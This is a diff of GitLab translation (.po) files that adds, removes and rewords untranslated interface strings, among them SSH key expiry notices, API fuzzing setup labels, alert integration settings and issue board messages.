@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/sr_CS/gitlab.po b/locale/sr_CS/gitlab.po
index df2e852e8a0..0fd7ba2b719 100644
--- a/locale/sr_CS/gitlab.po
+++ b/locale/sr_CS/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: sr-CS\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:52\n"
+"PO-Revision-Date: 2021-04-02 00:12\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -130,6 +130,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -229,6 +235,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -451,6 +463,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -463,6 +478,12 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -490,21 +511,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "%{count} more"
msgstr ""
@@ -601,7 +610,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -1006,6 +1015,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1141,6 +1153,9 @@ msgstr[2] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1228,6 +1243,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1252,6 +1273,18 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1264,6 +1297,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1294,6 +1333,18 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1411,9 +1462,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1423,13 +1471,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1504,9 +1549,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1525,13 +1567,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1543,6 +1597,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1555,16 +1612,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1573,16 +1633,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1615,9 +1675,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1795,6 +1852,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1825,12 +1885,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1876,6 +1930,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1951,6 +2008,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1978,9 +2038,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -2008,6 +2065,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -2026,6 +2086,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2119,6 +2182,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2146,6 +2212,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2287,9 +2356,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2725,6 +2791,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2773,6 +2845,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2935,6 +3010,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2950,13 +3031,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2965,25 +3049,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2998,24 +3085,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -3025,6 +3124,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -3034,9 +3136,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -3073,7 +3172,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3163,9 +3265,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3229,6 +3328,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3256,6 +3358,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3313,6 +3418,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3436,6 +3544,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3448,9 +3559,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3541,7 +3649,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3679,9 +3787,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3883,6 +3988,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3910,6 +4018,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3919,6 +4030,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3928,9 +4042,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4069,6 +4180,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4129,6 +4246,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4171,13 +4294,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4606,6 +4729,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4708,6 +4834,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4726,6 +4855,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4750,7 +4882,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4885,6 +5017,9 @@ msgstr[2] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4915,6 +5050,12 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4924,9 +5065,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4945,6 +5083,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4954,6 +5095,12 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4966,6 +5113,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4996,6 +5152,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5302,15 +5461,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5329,6 +5479,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
